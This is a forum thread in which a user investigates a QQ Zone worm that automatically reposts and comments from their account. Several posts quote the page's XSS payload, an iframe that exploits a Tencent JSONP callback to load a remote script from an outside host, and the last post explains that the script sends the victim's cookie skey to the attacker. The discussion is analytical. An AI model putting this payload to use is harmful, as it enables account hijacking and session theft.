QQ空间说说自动转载的实现问题

[黄鹤楼2333]

朋友转载了个奇怪的QQ说说，然后我点进去看
#因为感觉他怎么会转载这样的东西呢？
然后我也中招了，自动转载了且评论了。
我在想，这个自动转载是直接在那篇日志源码上写了调用转载的接口和评论的接口？
有没有大大可以讲讲这种自动转载的原理呢？？

[Evankaka]

这就是获取你的sessionId后进行伪造的手段

[假正经的班长]

不明觉厉，你把那个说说的链接贴出来呢，大家用虚拟机测测看

[LubinLew]

CSRF ？

[黄鹤楼2333]

引用 10 楼 Evankaka 的回复:

这就是获取你的sessionId后进行伪造的手段

要是那个网站有token的更新权限就完了。。。我早上没改密码，果然晚上又自动转发了。晚上改了密码，不知到之前token会不会失效。。

[黄鹤楼2333]

网址是： ''http://scljdty.我xaspshonvx.是yfcf.网pw/址view/3/?id=1,0.1940088'' 去掉这些字

[黄鹤楼2333]

不懂。。。

引用 2 楼 lgbxyz 的回复:

CSRF ？

[黄鹤楼2333]

引用 1 楼 cjqpker 的回复:

不明觉厉，你把那个说说的链接贴出来呢，大家用虚拟机测测看

第一次用论坛回帖，不知道引用是不是回复楼层的意思。。。 网址是： ''http://scljdty.我xaspshonvx.是yfcf.网pw/址view/3/?id=1,0.1940088'' 去掉这些字

[假正经的班长]

http://baike.baidu.com/link?url=77sMG0v65NEEMVr2FerMSoM8EYWKAwB590OuVJn1XfuOdn4ELgSbtRFFsF6SSSa20r53IqWwCYUe5GZHZI9hFa

[黄鹤楼2333]

引用 6 楼 cjqpker 的回复:

http://baike.baidu.com/link?url=77sMG0v65NEEMVr2FerMSoM8EYWKAwB590OuVJn1XfuOdn4ELgSbtRFFsF6SSSa20r53IqWwCYUe5GZHZI9hFa

看了下源码，感觉这段比较可疑，<iframe src="http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//" name="s=document.createElement('script');document.body.appendChild(s);s.src='http://conf3.gamexm.net/moo.js';" style="display

[假正经的班长]

引用 7 楼 qq_30093875 的回复:

[quote=引用 6 楼 cjqpker 的回复:] http://baike.baidu.com/link?url=77sMG0v65NEEMVr2FerMSoM8EYWKAwB590OuVJn1XfuOdn4ELgSbtRFFsF6SSSa20r53IqWwCYUe5GZHZI9hFa

看了下源码，感觉这段比较可疑，<iframe src="http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//" name="s=document.createElement('script');document.body.appendChild(s);s.src='http://conf3.gamexm.net/moo.js';" style="display[/quote] 危险无处不在啊

[黄鹤楼2333]

引用 8 楼 cjqpker 的回复:

[quote=引用 7 楼 qq_30093875 的回复:] [quote=引用 6 楼 cjqpker 的回复:] http://baike.baidu.com/link?url=77sMG0v65NEEMVr2FerMSoM8EYWKAwB590OuVJn1XfuOdn4ELgSbtRFFsF6SSSa20r53IqWwCYUe5GZHZI9hFa

看了下源码，感觉这段比较可疑，<iframe src="http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//" name="s=document.createElement('script');document.body.appendChild(s);s.src='http://conf3.gamexm.net/moo.js';" style="display[/quote] 危险无处不在啊[/quote] qq上问过某大神了，已经搞定了。 腾讯的某个网址http://rtb.map.qq.com/rtbus?qt=comps&cb=出现了一个XSS漏洞 然后这个漏洞调用了 http://conf3.gamexm.net/moo.js 这个moo.js加密过的， 然后chromeF12解密， 发现这个代码又链接向了另外一个网址 这段代码获取了你的cookie，把cookie中的skey发给这个网址， 这个asp网址获得了你的skey之后，应该就可以向腾讯的某个服务器发送请求 伪造你的信息，进行转发操作。 基本上情况就是这样。。虽然并不是很懂，但还是很感谢大神的分析。